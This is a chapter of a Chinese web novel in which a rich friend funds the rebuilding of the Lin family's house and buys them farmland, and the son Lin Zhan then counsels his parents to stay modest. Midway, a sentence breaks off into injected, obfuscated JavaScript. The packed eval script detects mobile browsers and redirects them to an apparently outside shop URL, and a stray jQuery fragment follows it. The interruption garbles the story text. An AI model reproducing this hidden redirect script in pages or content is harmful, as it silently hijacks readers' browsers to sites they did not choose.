祭祖的热闹余韵未散，另一桩实实在在改变林家生活的大事，便悄然拉开了序幕。
这日，沈千机又赶着马车来了，这回车上除了惯常的点心书籍，还坐着一位戴着瓜皮帽、夹着算盘和图纸的中年人——是他从府城请来的工头，姓于。
“林兄！伯父伯母！”沈千机一下车就拱手笑道，“这回可是带着‘正事’来的！”
他将那位于工头引见给林大山和王氏，开门见山：“伯父伯母，湛哥儿如今是秀才，往后少不了同窗、师长往来，咱们这小院虽温馨，但房舍确实老旧了些，也狭窄。我跟我爹商量了，咱们‘青云之友’头一桩实事，就是帮着把房子翻建了！于师傅是行家，工料、人手、钱款，都不用操心，一切有我！”
林大山和王氏愣住了。翻建新房？这可是他们做梦都不敢想的事。王氏连连摆手：“这怎么使得！沈公子，你的好意我们心领了，可这……这太破费了！不能这样！”
林湛也道：“沈兄，你的情谊我们铭记，但建房之事，非同小可……”
沈千机打断他，正色道：“林兄，你先听我说。这钱，不是白送的。一呢，算是我们沈家对‘小三元’案首的贺仪，哪个中了秀才的大户不修葺门庭？二呢，也是投资——我爹说了，林兄前程远大，这点小钱，就当是提前烧的冷灶，将来林兄飞黄腾达了，手指缝里漏点，就够我们赚的！”他说得半真半假，既表明了资助之意，又给了林家台阶下，不让对方觉得是施舍。
“再说了，”沈千机压低声音，“林兄，你往后读书会友，总得有个像样的书房吧？伯父伯母劳累半生，也该住得宽敞舒坦些。这事，就算你应了，全当是朋友间互相帮衬！你若实在过意不去，将来有钱了，再还我便是！大不了算我借你的，收利息！”
话说到这份上，再推辞反倒显得矫情。林湛看向父母，林大山搓着手，看看儿子，又看看王氏，终于闷声道：“沈公子大恩……我们记下了。”
王氏也抹了抹眼角：“这……这叫我们怎么报答……”
“伯母言重了！”沈千机笑道，“那咱们就这么定了！于师傅，您来看看地方，量量尺寸，咱们琢磨个章程！”
于工头是个干练人，拿出皮尺和图纸，围着林家小院和前前后后仔细丈量、勘查地基。沈千机则拉着林湛一家，询问他们的想法：想要几间房？灶间在哪里？牲口棚要不要挪？院子里想不想打口新井？
林大山和王氏起初还拘谨，说着“够住就行”“随便弄弄”，但在沈千机热情的引导和于工头专业的询问下，也渐渐放开了，说出了心底的期盼：想要间亮堂的堂屋待客，想要个结实的灶台，想要给大丫单独隔个小间，还想要个能堆放农具杂物的小仓房。
林湛则提出，书房要安静，最好靠后院；房屋布局要实用，不必追求华而不实的装饰；用料要扎实，但不必昂贵。沈千机一一记下，和于工头商量着修改草图。
“林兄放心，保证既体面又实用，还不扎眼。”沈千机拍胸脯，“咱们不建高门大院，就照着殷实之家的样子来，青砖灰瓦，结实耐用。”
图纸定下，工料和工匠很快到位。沈千机做事爽利，工钱给得足，伙食也开得好，请来的都是附近有名的好把式。拆旧房、夯地基、砌墙、上梁……工地上热火朝天，却又井然有序。
村里人听说林家要翻建新房，又是沈公子出的资，羡慕的有，感慨的更多。赵婶和铁柱娘主动来帮忙烧水做饭，招呼工匠。铁柱更是成了半个监工，每天下学就往工地跑，帮着搬砖递瓦，晒得黑红。
“就该这样！”铁柱一边擦汗一边对林湛说，“湛哥儿，你家早该住上好房子了！沈公子够意思！”
林湛每日下学后，也会在工地看看。看着低矮的土墙被推倒，看着坚实的地基一点点垒起，看着青灰色的砖墙在工匠手中逐渐拔高，心中感慨万千。这不仅仅是几间房屋，更象征着这个家庭命运的彻底转折。
与此同时，另一件事也在悄悄进行。沈千机通过自家商号的关系，在邻村物色了三十亩上好的水田，地契悄悄办到了林大山名下。
“伯父，这田您先种着，租子按最低的算，剩下的收成都是您家的。”沈千机对林大山说，“湛哥儿免了二丁徭役，家里劳力也松快了。有这几亩田打底，家里吃用不愁，湛哥儿往后读书赶考，也更安心。”
林大山拿着那几张轻飘飘却又沉甸甸的地契，手抖得厉害，眼眶通红，半天才憋出一句：“沈公子……我们林家，欠你太多……”
“伯父言重了！”沈千机笑道，“我跟湛哥儿是过命的朋友，他的爹娘就是我的长辈。再说了，这田也不是白给，您得好好种，打出粮食来，咱们‘青云之友’往后聚会，才有米下锅不是？”
新房建了快两个月，到了腊月头上，终于完工。崭新的青砖院墙，黑漆木门，门楣上“林宅”两个朴素的字是孙夫子题的。进门是平整的泥地院子，靠东是五间正房：正中堂屋宽敞亮堂，两侧是林大山夫妇和孩子们的卧房，林湛的书房单独在东头，安静又光线充足。西边是灶房、仓房和柴房。后院留了片空
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179318|196937||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地，可以种菜养鸡。院子一角打了口新井，井台用青石砌得整整齐齐。
屋里家具都是新打的，虽不豪华，但结实耐用。王氏摸着光滑的桌子、宽大的炕席，看着刷得雪白的墙壁和透亮的窗户纸，眼泪吧嗒吧嗒往下掉，却是笑着的：“这……这真是咱们家了？”
大丫在自己的小房间里转来转去，摸摸这里，看看那里，小声问林湛：“弟，这真是我的屋子？我一个人睡？”
林湛笑着点头。小丫头欢呼一声，扑到炕上打了滚。
乔迁这日，没有大张旗鼓。只请了孙夫子、周文渊一家、铁柱一家，还有几位帮了大忙的族老和邻居。沈千机和王砚之也从府城、县城赶来了。饭菜是赵婶带着几个妇人做的，就在新房的堂屋里摆了两桌，热热闹闹，却并不喧哗。
席间，林湛举杯，郑重对沈千机道：“沈兄，大恩不言谢。今日一切，林湛铭记于心。他日若有寸进，定当回报。”
沈千机摆手：“林兄再说这话，就是见外了！咱们是‘青云之友’，本就该互相帮衬！来，喝酒喝酒！”
送走客人，已是夜深。新房里还残留着饭菜和油漆混合的气味。林湛将父母请到堂屋，点上油灯。
“爹，娘，”他神色认真，“如今房子有了，田地也有了，咱们家的日子，算是彻底缓过来了。这是好事，但往后行事，更需谨慎低调。”
林大山和王氏点头，等着他往下说。
“这房子，在村里算好的，但也不过是殷实农户的规格，不算扎眼。田地的事，除了自家人和沈兄、铁柱哥这些知根知底的，莫要对外张扬。租子按沈兄说的最低交，剩下的粮食，除了自家吃用，有余力就存着，或者接济些真正困难的乡亲，但切莫显摆。”
王氏道：“娘懂，财不露白。”
“还有，”林湛继续道，“如今我是秀才，村里族里对咱们家客气，那是看在这功名和沈兄帮衬的面上。咱们自己不能飘，待人接物，还和从前一样，该恭敬的恭敬，该帮衬的帮衬。莫要让人觉得咱们眼睛长到头顶上了。”
林大山闷声道：“你放心，爹晓得。咱们不是那忘本的人。”
“铁柱哥一家对咱们有大恩，赵婶赵叔那里，逢年过节礼数要到，平日也多走动。周师兄家是书香门第，要尊重。族里长辈，该孝敬的孝敬。”林湛细细叮嘱，“总之，咱们关起门来过自己的好日子，打开门，还是林家村普普通通一户人家。”
王氏和林大山听得连连点头。儿子这番话，思虑周全，让他们心里更踏实了。